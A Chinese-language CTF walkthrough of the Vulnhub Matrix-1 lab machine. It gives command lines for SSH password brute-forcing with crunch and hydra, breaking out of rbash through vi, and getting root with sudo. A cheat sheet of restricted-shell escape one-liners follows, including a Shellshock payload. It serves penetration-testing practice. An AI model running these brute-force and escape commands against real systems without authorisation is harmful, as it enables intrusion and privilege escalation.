开局靶机正常配置走host-only
nmap进行主机发现,找到对应的主机,扫描端口
解密后发现一个文件,通过web访问
是一个brainfuck文件(https://www.splitbrain.org/_static/ook/)在线解密得到前6位密码
使用crunch创建一个单词表,进行ssh登录爆破
crunch 8 8 -t k1ll0r%@ -o dict.txt
hydra -l guest -P dict.txt 192.168.1.18 ssh
得到密码ssh登录发现有rbash,很多命令都不能执行
vi可以,echo可以并发现有rbash也就是受限的shell
在渗透过程中,会遇到有些环境中的shell是受限制的,这些shell环境叫restricted shell
以下功能受限:
通过 cd 来改变工作目录
设置或取消环境变量: SHELL, PATH, ENV, BASH_ENV
命令名中不能包含目录分隔符 ‘/’
包含有 ‘/’ 的文件名作为内置命令 ‘.’ 的参数
hash 内置命令有 -p 选项时的文件名参数包含 ‘/’
在启动时通过 shell 环境导入函数定义
在启动时通过 shell 环境解析 SHELLOPTS 的值
使用 >,>|, <>, >&, &>, >> 等重定向操作符
使用 exec 内置命令
通过 enable 内置命令的 -f 和 -d 选项增加或删除内置命令
使用 enable 内置命令来禁用或启用 shell 内置命令
执行 command 内置命令时加上 -p 选项
通过 set +r 或 set +o restricted 关闭受限模式
受限的类型有
rbash
rsh
rksh
python
如何打破
尽量找出自己所处环境是什么样子:
运行env查看环境变量
运行echo $PATH查找路径设置
运行echo $SHELL或者echo $0查看运行的shell环境
查看基本的Unix命令,比如ls,pwd,cd ..,env,set,export,vi,cp,mv
shell变量和路径设置:
如果/允许使用,直接运行/bin/sh
如果可以进行路径设置、shell变量设置,就可以运行:
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/sh
如果可以复制文件到存在的路径,就可以运行cp /bin/sh /some/dir/from/PATH; sh
就本题而言
vi命令可以使用,就可以通过vi !/bin/sh(!/bin/bash)来启动一个不受限的bash
转义受限的shell环境后,我们将/ bin / bash导出到SHELL环境变量,并将“ / usr / bin ”目录导出到PATH环境变量,以便我们可以正确运行Linux命令。
export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH
导出到环境变量后,我们检查了sudoers列表,发现由于拥有所有权利,我们可以直接获取root shell。
sudo -l
sudo su
由于尚未将“ / bin ”目录导出到PATH环境中,因此无法执行“ su ”命令。我们将“ / bin ”目录导出到PATH环境变量中,然后再次运行该命令以使用我们先前找到的密码以root用户身份登录。
export PATH=/bin:$PATH
sudo su
然后到根目录下cat flag
补充
有一些系统命令常常可以绕过限制:
ftp->!/bin/sh
gdb->!/bin/sh
more/less/man->!/bin/sh
vi/vim->:!/bin/sh
scp -S tmp/getMeOut.sh x y
awk ‘BEGIN {system(‘/bin/sh’)}’
find / -name someName -exec /bin/sh \;
逃脱限制:
在远程shell连接加载完成之前执行系统命令
ssh test@IP -t '/bin/sh'
在远程shell开始的时候,不加载限制配置文件
ssh test@IP -t "bash --noprofile"
尝试破壳漏洞
ssh test@IP -t "() { :; }; /bin/bash"
深入:
使用tee命令
echo “your evil code” tee script.sh
通过脚本语言调用shell
python -c 'import os; os.system("/bin/bash")'
perl -e ‘exec “/bin/sh”;’
历史文件技巧
将一个想要重写的文件中设置HISTFILE变量
将HISTFILE变量从0到100逐渐递增
执行文件中每行写入的内容
登出并重新登陆。这样就将所想写入的内容指向了HISTFILE文件(原文件权限保持不变)
参考:
https://www.hackingarticles.in/matrix-1-vulnhub-walkthrough/
https://b404.xyz/2018/07/03/escape-from-shellcatraz-breaking-out-of-restricted-unix-shells/
http://kuanghy.github.io/2017/02/20/rbash
http://pentestmonkey.net/blog/rbash-scp
https://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells